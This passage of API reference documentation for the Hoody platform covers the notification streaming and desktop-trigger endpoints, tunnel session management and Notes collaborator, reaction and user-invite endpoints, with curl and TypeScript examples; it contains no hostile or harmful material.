curl -i https://api.hoody.com/api/v1/notifications/icons/6_10_1749024932903.png \
  -H "Authorization: Bearer <token>" \
  -H "If-None-Match: \"6_10_1749024932903\""
```


Always reuse the `ETag` and `Last-Modified` values from the first response to issue conditional requests (`If-None-Match` / `If-Modified-Since`). A `304 Not Modified` response avoids transferring the image body, reducing bandwidth and latency.

---

# Real-Time Streaming

**Page:** api/kit/notification-server/streaming

[Download Raw Markdown](./api/kit/notification-server/streaming.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Real-Time Streaming

The Hoody notification server supports real-time streaming of notification updates via Server-Sent Events (SSE). This allows your application to receive push-style updates from the server as soon as they occur, without polling.

### When to use streaming

Use real-time streaming when you need your application to react to notification events the moment they are produced. Typical scenarios include:

- **Live dashboards** — updating unread counts, activity feeds, or status indicators as notifications arrive.
- **In-app toasts and banners** — surfacing a new message, mention, or system alert immediately.
- **Multi-device synchronization** — keeping notification state consistent across browser tabs, mobile clients, and background services.
- **Event-driven automations** — triggering workflows in response to specific notification types.

If your integration only needs notification history or periodic reconciliation, the standard REST endpoints for listing and fetching notifications are a better fit. Streaming is intended for low-latency, push-based consumption.

### How it works

The streaming endpoint maintains a long-lived HTTP connection from the client to the Hoody notification server. Over that connection, the server emits structured SSE events whenever a notification relevant to the authenticated context is created, updated, or deleted. The client is responsible for handling reconnects, parsing the event stream, and dispatching events to your application logic.

### Connection model

- The connection is established over HTTPS and authenticated using the same credentials as the REST API.
- The server keeps the connection open and pushes events as they occur. If the connection drops, the client should reconnect and resume from the last received event identifier.
- Heartbeat or comment frames are sent periodically to keep intermediaries from idling out the connection; clients should ignore unknown event types.

### Event shape

Each event delivered over the stream follows the SSE specification: an `event` name, one or more `data` lines containing a JSON payload, an optional `id` for resumption, and a blank line terminator. The `data` payload typically mirrors the notification object returned by the REST endpoints, so you can reuse existing parsing and rendering logic.

### Client responsibilities

When consuming the stream, your client should:

- Parse the `event` and `data` fields and route payloads to the appropriate handlers.
- Track the most recent `id` value so reconnections can resume from the last known position.
- Implement exponential backoff on reconnect, capped at a sensible interval.
- Apply idempotency: the same event may be redelivered after a reconnect, so handlers should be safe to invoke more than once.

### Operational considerations

- Streaming connections consume a server-side slot per active client. Open the stream only for sessions that need live updates, and close it when the user logs out or the application goes to the background.
- Behind corporate proxies or load balancers, ensure idle timeouts are configured to exceed the server's heartbeat interval, otherwise the connection will be terminated prematurely.
- For high-volume consumers, prefer filtering on the client side after parsing rather than opening multiple parallel streams for the same user.


When designing your UI, treat streamed notifications as hints: reconcile against the REST API on app start and after a reconnect to ensure you have a complete and consistent view.


### Next steps

- Review the [Notification Server overview](/api/kit/notification-server/) to understand the full notification model.
- See the [SSE connection guide](/api/kit/notification-server/streaming/connect/) for the exact endpoint, headers, and event types used by the stream.

---

# Triggering Notifications

**Page:** api/kit/notification-server/triggering

[Download Raw Markdown](./api/kit/notification-server/triggering.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Trigger Notification

Send a desktop notification to a target display using `notify-send`. Use this endpoint to surface alerts, status updates, or any event-driven message on the user's desktop session. The notification is rendered by the system's notification daemon on the specified display.


The `display` field identifies the X11 display where the notification will appear (e.g., `"0"` for `:0`). Ensure the display identifier is valid for the host running the notification server.


### `POST /api/v1/notifications/notify`

Triggers a new desktop notification using `notify-send` on the target display.

This endpoint takes no parameters.

#### Request Body

Send a JSON object with the following fields:

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `summary` | string | Yes | Notification summary/title |
| `display` | string | Yes | Target display ID (e.g., `"0"` or `":0"`) |
| `body` | string | No | Notification body text |
| `category` | string | No | Notification category |
| `expire_time` | integer | No | Expiration time in milliseconds |
| `icon` | string | No | Icon name or path |
| `urgency` | string | No | Notification urgency level. One of `low`, `normal`, `critical`. Default: `normal` |

#### Example Request




```bash
curl -X POST https://api.hoody.com/api/v1/notifications/notify \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "summary": "Build Complete",
    "display": "1",
    "body": "Your deployment to production finished successfully.",
    "category": "deployment",
    "icon": "dialog-information",
    "expire_time": 5000,
    "urgency": "normal"
  }'
```




```typescript
const response = await client.notifications.notify.trigger({
  summary: "Build Complete",
  display: "1",
  body: "Your deployment to production finished successfully.",
  category: "deployment",
  icon: "dialog-information",
  expire_time: 5000,
  urgency: "normal"
});
```




#### Responses




Notification sent successfully.

```json
{
  "success": true,
  "message": "Notification sent successfully"
}
```




The request was malformed or missing required fields.

```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid request payload"
}
```




The notification server is receiving requests too rapidly.

```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Rate limit exceeded"
}
```




The notification server encountered an internal error (for example, `notify-send` failed or the target display is unavailable).

```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to deliver notification"
}
```

---

# Notification Server

**Page:** api/kit/notification-server

[Download Raw Markdown](./api/kit/notification-server.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Notification Server API provides a unified interface for managing and delivering notifications across the Hoody platform. It handles the routing, delivery, and lifecycle of notifications, ensuring that messages reach their intended recipients reliably and in real time.

This overview introduces the core concepts and capabilities of the Notification Server. Use it as a starting point to understand how notifications are structured, how delivery channels are managed, and how the system handles retries, acknowledgments, and user preferences.

The Notification Server is designed to support:

- **Multi-channel delivery** — Send notifications across push, email, and in-app channels from a single API surface.
- **Asynchronous processing** — All delivery operations are non-blocking, returning immediately while notifications are processed in the background.
- **Retry and failure handling** — Built-in retry logic with configurable backoff ensures transient failures do not result in lost notifications.
- **User preference management** — Respect per-user notification settings, including channel opt-outs, quiet hours, and priority filtering.
- **Delivery tracking** — Query the status of any notification, including pending, delivered, and failed states, with detailed failure reasons.

The endpoints in this section cover the full notification lifecycle: creating and dispatching notifications, managing templates, configuring channels, and inspecting delivery status. Whether you are integrating notifications into a new application or extending an existing integration, these endpoints provide everything needed to build a reliable notification experience on Hoody.

Refer to the individual endpoint pages in this section for detailed request and response specifications, authentication requirements, and SDK examples.

---

# Hoody Tunnel

**Page:** api/kit/tunnel

[Download Raw Markdown](./api/kit/tunnel.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Introduction

The Hoody Tunnel service exposes the management surface for the `hoody-tunnel` kit. Use these endpoints to inspect active tunnel sessions, expose and pull bindings, stream counts, FD budget, health, and Prometheus metrics, and to administratively terminate sessions. The WebSocket control plane endpoint is documented separately at the bottom of this page.

## Health & Monitoring

### `GET /api/v1/tunnel/health`

Standard kit health endpoint. Returns runtime information about the tunnel process including status, build, start time, memory, file descriptor count, PID, IP, and user agent. No authentication is required.

This endpoint takes no parameters.



```bash
curl https://tunnel.example.com/api/v1/tunnel/health
```


```typescript
const health = await client.tunnel.health.check();
```


```json
{
  "status": "ok",
  "service": "hoody-tunnel",
  "built": "2024-01-15T10:30:00Z",
  "started": "2024-01-15T12:00:00Z",
  "memory": {
    "heap": 15728640,
    "rss": 41943040
  },
  "fds": 128,
  "pid": 12345,
  "ip": "10.0.0.1",
  "userAgent": "hoody-cli/1.0.0"
}
```

**Response fields**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `status` | string | Yes | Kit health status |
| `service` | string | Yes | Service identifier |
| `built` | string \| null | No | Build timestamp |
| `started` | string | Yes | Process start timestamp |
| `memory` | object \| null | No | Memory usage; contains `heap` and `rss` |
| `fds` | integer \| null | No | Open file descriptor count |
| `pid` | integer | Yes | Process ID |
| `ip` | string | Yes | Bound IP address |
| `userAgent` | string | Yes | Reporting user agent |




### `GET /api/v1/tunnel/metrics`

Returns Prometheus text-format metrics for the tunnel kit. Exposes active session count, active binding count, and available FD permits. Intended for scraping by a Prometheus server.

This endpoint takes no parameters.



```bash
curl https://tunnel.example.com/api/v1/tunnel/metrics
```


```typescript
const metrics = await client.tunnel.getMetrics();
```


```
# HELP hoody_tunnel_sessions_active Number of active tunnel sessions
# TYPE hoody_tunnel_sessions_active gauge
hoody_tunnel_sessions_active 3
# HELP hoody_tunnel_bindings_active Number of active bindings
# TYPE hoody_tunnel_bindings_active gauge
hoody_tunnel_bindings_active 7
# HELP hoody_tunnel_fd_permits_available Available file descriptor permits
# TYPE hoody_tunnel_fd_permits_available gauge
hoody_tunnel_fd_permits_available 450
```

The response uses the `text/plain` content type in Prometheus exposition format.




## Sessions & Bindings

### `GET /api/v1/tunnel/sessions`

Lists all active tunnel sessions with their bindings, stream counts, and protocol version. Use this to discover live sessions, inspect the V1/V2 protocol in use, and see how many connections and streams each session has open.

This endpoint takes no parameters.



```bash
curl https://tunnel.example.com/api/v1/tunnel/sessions
```


```typescript
const { sessions, total } = await client.tunnel.listSessions();
```


```json
{
  "sessions": [
    {
      "sessionId": "sess_abc123def456",
      "peerAddr": "192.168.1.100:54321",
      "isV2": true,
      "connectionsGranted": 5,
      "activeStreams": 3,
      "maxStreams": 100,
      "bindings": [
        {
          "bindId": 1,
          "containerPort": 3000,
          "kind": "EXPOSE",
          "mode": "http"
        }
      ]
    }
  ],
  "total": 1
}
```

**Response fields**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `sessions` | array | Yes | Array of `SessionInfo` objects |
| `total` | integer | Yes | Total number of active sessions |

Each `SessionInfo` contains: `sessionId`, `peerAddr`, `isV2`, `connectionsGranted`, `activeStreams`, `maxStreams`, and a `bindings` array. Each `BindingInfo` contains: `bindId`, `containerPort`, `kind`, and `mode`.




### `GET /api/v1/tunnel/bindings`

Lists all active EXPOSE and PULL bindings across every session, with the owning session ID, port, kind, mode, and bind ID. Use this when you need a flat, cross-session view of port bindings.

This endpoint takes no parameters.



```bash
curl https://tunnel.example.com/api/v1/tunnel/bindings
```


```typescript
const { bindings, total } = await client.tunnel.listBindings();
```


```json
{
  "bindings": [
    {
      "bindId": 1,
      "kind": "EXPOSE",
      "mode": "http",
      "port": 3000,
      "sessionId": "sess_abc123def456"
    },
    {
      "bindId": 2,
      "kind": "PULL",
      "mode": "tcp",
      "port": 5432,
      "sessionId": "sess_abc123def456"
    }
  ],
  "total": 2
}
```

**Response fields**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `bindings` | array | Yes | Array of `BindingDetail` objects |
| `total` | integer | Yes | Total number of active bindings |

Each `BindingDetail` contains: `bindId`, `kind`, `mode`, `port`, and `sessionId`.




### `GET /api/v1/tunnel/tunnels`

Returns a unified overview of all active tunnels: sessions with their expose and pull bindings broken out, total stream and binding counts, orphan count, and remaining FD budget. Use this as a single-call dashboard for tunnel fleet health.

This endpoint takes no parameters.



```bash
curl https://tunnel.example.com/api/v1/tunnel/tunnels
```


```typescript
const overview = await client.tunnel.listTunnels();
```


```json
{
  "fdPermitsAvailable": 450,
  "orphanedSessions": 0,
  "totalBindings": 3,
  "totalStreams": 8,
  "sessions": [
    {
      "sessionId": "sess_abc123def456",
      "peerAddr": "192.168.1.100:54321",
      "protocol": "hoody-tunnel.v2",
      "connectionsGranted": 5,
      "activeStreams": 3,
      "exposeBindings": [
        {
          "bindId": 1,
          "containerPort": 3000
        }
      ],
      "pullBindings": [
        {
          "bindId": 2,
          "containerPort": 5432
        }
      ]
    }
  ]
}
```

**Response fields**

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `fdPermitsAvailable` | integer | Yes | Remaining file descriptor permits in the FD budget |
| `orphanedSessions` | integer | Yes | Count of orphaned (non-resumable) sessions |
| `totalBindings` | integer | Yes | Total number of bindings across all sessions |
| `totalStreams` | integer | Yes | Total number of active streams across all sessions |
| `sessions` | array | Yes | Array of `TunnelSessionView` objects |

Each `TunnelSessionView` contains: `sessionId`, `peerAddr`, `protocol`, `connectionsGranted`, `activeStreams`, `exposeBindings`, and `pullBindings`. Each `TunnelBindingView` contains: `bindId` and `containerPort`.




### `DELETE /api/v1/tunnel/sessions/{session_id}`

Administratively terminates an active tunnel session. The kit sends a `GOAWAY(0x0001, "closed by admin")` frame on the WebSocket and force-closes the session after the `grace_ms` drain window. Admin kills skip the orphan-parking path, so the session is not resumable.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `session_id` | path | string | Yes | Session ID as returned by `GET /sessions` |
| `grace_ms` | query | integer | No | GOAWAY drain budget in ms (0&ndash;5000, default 50) |



```bash
curl -X DELETE \
  "https://tunnel.example.com/api/v1/tunnel/sessions/sess_abc123def456?grace_ms=200"
```


```typescript
await client.tunnel.killSession({
  session_id: "sess_abc123def456",
  grace_ms: 200
});
```


```json
{
  "sessionId": "sess_abc123def456",
  "status": "closing"
}
```

The response confirms that close has been initiated. The actual disconnect happens after the `grace_ms` window.

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `sessionId` | string | Yes | Echo of the session ID being closed |
| `status` | string | Yes | Current close status |



```json
{
  "error": "Invalid grace_ms: must be between 0 and 5000"
}
```

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `error` | string | Yes | Human-readable error message describing the validation failure |



```json
{
  "error": "Session not found"
}
```

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `error` | string | Yes | Human-readable error message |




## WebSocket Control Plane

### `GET /api/v1/tunnel/connect`

WebSocket upgrade endpoint for the multiplexed tunnel session. Clients MUST request subprotocol `hoody-tunnel.v1` or `hoody-tunnel.v2` and send a `HELLO` frame as the first binary message after the upgrade succeeds. See the kit README for the full wire protocol, frame types, and stream multiplexing rules.

This endpoint takes no parameters.


This is a WebSocket upgrade endpoint, not a standard JSON-over-HTTP call. The SDK accessor returns a WebSocket handle that you drive with `HELLO`/`WELCOME`, `BIND`/`BOUND`, `OPEN`/`DATA`/`CLOSE`, and `GOAWAY` frames.




```bash
curl -i \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Protocol: hoody-tunnel.v2" \
  https://tunnel.example.com/api/v1/tunnel/connect
```


```typescript
const socket = await client.tunnel.tunnelConnect();
// First binary frame must be a HELLO on the control stream.
```


```
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Protocol: hoody-tunnel.v2
```

The upgrade is accepted. The connection is now a WebSocket; the kit expects a `HELLO` frame as the first binary message.



The upgrade is rejected when the client does not advertise a supported subprotocol. The response includes the `x-hoody-tunnel-versions` header listing the protocol versions the kit supports.

---

# Notes: Collaboration

**Page:** api/notes/collaborators

[Download Raw Markdown](./api/notes/collaborators.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Notes Collaboration API manages user access and engagement on notebook nodes. Use these endpoints to list and modify collaborators (with per-node roles), add and remove emoji reactions, and invite users to a notebook or change their notebook-wide role.


Collaborator roles on a node (`admin`, `editor`, `collaborator`, `viewer`) are distinct from a user's notebook-wide role (`owner`, `admin`, `collaborator`, `guest`, `none`). Use the node-scoped endpoints to control access to individual sections, pages, and databases.


## Collaborators

Manage per-node collaborators and their roles. Node-level collaborator management requires admin permission on the target node.

### `GET /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/collaborators`

Returns all collaborators on a node with their roles and user info.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | The notebook that contains the node |
| `nodeId` | path | string | Yes | The node whose collaborators should be listed |



```bash
curl -X GET "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3a1c2b/nodes/node_4d2e9f1a/collaborators" \
  -H "Authorization: Bearer <token>"
```


```ts
const collaborators = await client.notes.collaborators.list({
  notebookId: "nb_8f3a1c2b",
  nodeId: "node_4d2e9f1a"
});
```


```json
{
  "collaborators": [
    {
      "userId": "user_3a8c1f0e",
      "role": "admin",
      "name": "Ada Lovelace",
      "username": "ada",
      "avatar": "https://cdn.hoody.com/avatars/ada.png",
      "createdAt": "2024-11-02T10:15:32.000Z",
      "updatedAt": "2024-12-01T14:08:11.000Z"
    },
    {
      "userId": "user_5b9d2a14",
      "role": "editor",
      "name": "Grace Hopper",
      "username": "grace",
      "avatar": null,
      "createdAt": "2024-11-04T09:22:01.000Z",
      "updatedAt": null
    }
  ]
}
```


```json
{
  "message": "You do not have access to this node.",
  "code": "forbidden",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |


```json
{
  "message": "Node not found.",
  "code": "not_found",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Node not found | No node exists with the provided ID in this notebook | Verify node ID using listNodes or listNodeChildren |



### `POST /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/collaborators`

Adds a user as a collaborator on a node with a specified role. Requires admin permission.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | The notebook that contains the node |
| `nodeId` | path | string | Yes | The node to add the collaborator to |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `collaboratorId` | string | Yes | The user ID to add as a collaborator |
| `role` | string | Yes | The role to assign. One of: `admin`, `editor`, `collaborator`, `viewer` |



```bash
curl -X POST "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3a1c2b/nodes/node_4d2e9f1a/collaborators" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "collaboratorId": "user_5b9d2a14",
    "role": "editor"
  }'
```


```ts
await client.notes.collaborators.add({
  notebookId: "nb_8f3a1c2b",
  nodeId: "node_4d2e9f1a",
  data: {
    collaboratorId: "user_5b9d2a14",
    role: "editor"
  }
});
```


```json
{
  "userId": "user_5b9d2a14",
  "role": "editor",
  "createdAt": "2024-12-05T11:42:17.000Z",
  "updatedAt": null
}
```


```json
{
  "message": "Node type does not support collaborators.",
  "code": "bad_request",
  "details": [
    {
      "path": "nodeId",
      "message": "This node type cannot have collaborators"
    }
  ]
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `bad_request` | Unsupported node type | This node type does not support collaborators | Collaborators can only be added to sections, pages, and databases |


```json
{
  "message": "You do not have permission to manage collaborators.",
  "code": "forbidden",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Not an admin | Only admins can manage collaborators on this node | Request admin access from the node owner |


```json
{
  "message": "Collaborator user was not found.",
  "code": "user_not_found",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `user_not_found` | User not found | The collaborator user does not exist in this notebook | Verify user ID or create the user with createUsers first |


```json
{
  "message": "Idempotency key conflict.",
  "code": "bad_request",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `bad_request` | Idempotency conflict | A different request was already made with the same idempotency key | Use a new idempotency key for a different request |


```json
{
  "message": "An unexpected error occurred.",
  "code": "unknown",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `unknown` | Internal server error | An unexpected error occurred while processing the request | Retry the request; if it persists, contact support |



### `PATCH /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/collaborators/{collaboratorId}`

Changes the role of an existing collaborator. Requires admin permission.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | The notebook that contains the node |
| `nodeId` | path | string | Yes | The node whose collaborator is being updated |
| `collaboratorId` | path | string | Yes | The collaborator user ID to update |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `role` | string | Yes | The new role to assign. One of: `admin`, `editor`, `collaborator`, `viewer` |



```bash
curl -X PATCH "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3a1c2b/nodes/node_4d2e9f1a/collaborators/user_5b9d2a14" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "role": "viewer"
  }'
```


```ts
await client.notes.collaborators.update({
  notebookId: "nb_8f3a1c2b",
  nodeId: "node_4d2e9f1a",
  collaboratorId: "user_5b9d2a14",
  data: {
    role: "viewer"
  }
});
```


```json
{
  "userId": "user_5b9d2a14",
  "role": "viewer",
  "createdAt": "2024-11-04T09:22:01.000Z",
  "updatedAt": "2024-12-05T12:00:44.000Z"
}
```


```json
{
  "message": "Node type does not support collaborators.",
  "code": "bad_request",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `bad_request` | Unsupported node type | This node type does not support collaborators | Collaborators can only be managed on sections, pages, and databases |


```json
{
  "message": "You do not have permission to manage collaborators.",
  "code": "forbidden",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Not an admin | Only admins can change collaborator roles | Request admin access from the node owner |


```json
{
  "message": "Collaborator not found.",
  "code": "not_found",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Collaborator not found | No collaborator with the given ID exists on this node | Verify collaborator ID using listCollaborators |


```json
{
  "message": "An unexpected error occurred.",
  "code": "unknown",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `unknown` | Internal server error | An unexpected error occurred while processing the request | Retry the request; if it persists, contact support |



### `DELETE /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/collaborators/{collaboratorId}`

Removes a collaborator from a node. Requires admin permission.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | The notebook that contains the node |
| `nodeId` | path | string | Yes | The node to remove the collaborator from |
| `collaboratorId` | path | string | Yes | The collaborator user ID to remove |



```bash
curl -X DELETE "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3a1c2b/nodes/node_4d2e9f1a/collaborators/user_5b9d2a14" \
  -H "Authorization: Bearer <token>"
```


```ts
await client.notes.collaborators.remove({
  notebookId: "nb_8f3a1c2b",
  nodeId: "node_4d2e9f1a",
  collaboratorId: "user_5b9d2a14"
});
```


```json
{
  "success": true
}
```


```json
{
  "message": "Node type does not support collaborators.",
  "code": "bad_request",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `bad_request` | Unsupported node type | This node type does not support collaborators | Collaborators can only be managed on sections, pages, and databases |


```json
{
  "message": "You do not have permission to manage collaborators.",
  "code": "forbidden",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Not an admin | Only admins can remove collaborators | Request admin access from the node owner |


```json
{
  "message": "Collaborator not found.",
  "code": "not_found",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Collaborator not found | No collaborator with the given ID exists on this node | Verify collaborator ID using listCollaborators |


```json
{
  "message": "An unexpected error occurred.",
  "code": "unknown",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `unknown` | Internal server error | An unexpected error occurred while processing the request | Retry the request; if it persists, contact support |



## Reactions

Add, list, and remove emoji reactions on nodes. Reactions are scoped to the current authenticated user.

### `GET /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/reactions`

Returns all reactions on a node with the collaborator who reacted.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | The notebook that contains the node |
| `nodeId` | path | string | Yes | The node whose reactions should be listed |



```bash
curl -X GET "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3a1c2b/nodes/node_4d2e9f1a/reactions" \
  -H "Authorization: Bearer <token>"
```


```ts
const reactions = await client.notes.reactions.list({
  notebookId: "nb_8f3a1c2b",
  nodeId: "node_4d2e9f1a"
});
```


```json
{
  "reactions": [
    {
      "reaction": "🎉",
      "collaboratorId": "user_3a8c1f0e",
      "createdAt": "2024-12-05T10:00:12.000Z",
      "name": "Ada Lovelace",
      "username": "ada"
    },
    {
      "reaction": "🚀",
      "collaboratorId": "user_5b9d2a14",
      "createdAt": "2024-12-05T10:05:33.000Z",
      "name": "Grace Hopper",
      "username": "grace"
    }
  ]
}
```


```json
{
  "message": "You do not have access to this node.",
  "code": "forbidden",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |


```json
{
  "message": "Node not found.",
  "code": "not_found",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Node not found | No node exists with the provided ID in this notebook | Verify node ID using listNodes or listNodeChildren |



### `POST /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/reactions`

Adds an emoji reaction to a node on behalf of the current user.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | The notebook that contains the node |
| `nodeId` | path | string | Yes | The node to react to |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `reaction` | string | Yes | The reaction to add (1–64 characters). Typically an emoji. |



```bash
curl -X POST "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3a1c2b/nodes/node_4d2e9f1a/reactions" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "reaction": "🎉"
  }'
```


```ts
await client.notes.reactions.add({
  notebookId: "nb_8f3a1c2b",
  nodeId: "node_4d2e9f1a",
  data: {
    reaction: "🎉"
  }
});
```


```json
{
  "reaction": "🎉",
  "collaboratorId": "user_3a8c1f0e",
  "createdAt": "2024-12-05T10:00:12.000Z"
}
```


```json
{
  "message": "Invalid request payload.",
  "code": "bad_request",
  "details": [
    {
      "path": "reaction",
      "message": "reaction must be between 1 and 64 characters"
    }
  ]
}
```


```json
{
  "message": "You do not have access to this node.",
  "code": "forbidden",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |


```json
{
  "message": "Node not found.",
  "code": "not_found",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Node not found | No node exists with the provided ID in this notebook | Verify node ID using listNodes or listNodeChildren |


```json
{
  "message": "Idempotency key conflict.",
  "code": "bad_request",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `bad_request` | Idempotency conflict | A different request was already made with the same idempotency key | Use a new idempotency key for a different request |


```json
{
  "message": "An unexpected error occurred.",
  "code": "unknown",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `unknown` | Internal server error | An unexpected error occurred while processing the request | Retry the request; if it persists, contact support |



### `DELETE /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/reactions/{reaction}`

Removes an emoji reaction from a node for the current user.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | The notebook that contains the node |
| `nodeId` | path | string | Yes | The node from which to remove the reaction |
| `reaction` | path | string | Yes | The exact reaction string to remove (e.g. `🎉`) |



```bash
curl -X DELETE "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3a1c2b/nodes/node_4d2e9f1a/reactions/%F0%9F%8E%89" \
  -H "Authorization: Bearer <token>"
```


```ts
await client.notes.reactions.remove({
  notebookId: "nb_8f3a1c2b",
  nodeId: "node_4d2e9f1a",
  reaction: "🎉"
});
```


```json
{
  "success": true
}
```


```json
{
  "message": "You do not have access to this node.",
  "code": "forbidden",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |


```json
{
  "message": "Node not found.",
  "code": "not_found",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Node not found | No node exists with the provided ID in this notebook | Verify node ID using listNodes or listNodeChildren |


```json
{
  "message": "An unexpected error occurred.",
  "code": "unknown",
  "details": []
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `unknown` | Internal server error | An unexpected error occurred while processing the request | Retry the request; if it persists, contact support |



## Notebook Users

Manage users that belong to a notebook and their notebook-wide role. These endpoints require owner or admin permission on the notebook.

### `POST /api/v1/notes/notebooks/{notebookId}/users`

Creates one or more users in the notebook by username. Returns created users and any errors.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | The notebook to invite users to |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `users` | array | Yes | List of users to invite (max 50). Each item requires `username` and `role`. |
| `users[].username` | string | Yes | The username of the user to invite |
| `users[].role` | string | Yes | The notebook role to assign. One of: `owner`, `admin`, `collaborator`, `guest`, `none` |



```bash
curl -X POST "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3a1c2b/users" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "users": [
      { "username": "grace", "role": "editor" },
      { "username": "linus", "role": "collaborator" }
    ]
  }'
```


```ts
await client.notes.users.invite({
  notebookId: "nb_8f3a1c2b",
  data: {
    users: [
      { username: "grace", role: "editor" },
      { username: "linus", role: "collaborator" }
    ]
  }
});
```


```json
{
  "users": [
    {
      "id": "user_5b9d2a14",
      "name": "Grace Hopper",
      "avatar": "https://cdn.hoody.com/avatars/grace.png",
      "role": "editor",
      "customName": null,
      "customAvatar": null,
      "createdAt": "2024-12-05T10:15:32.000Z",
      "updatedAt": null,
      "revision": "rev_1a2b3c4d",
      "status": 1
    }
  ],
  "errors": [
    {
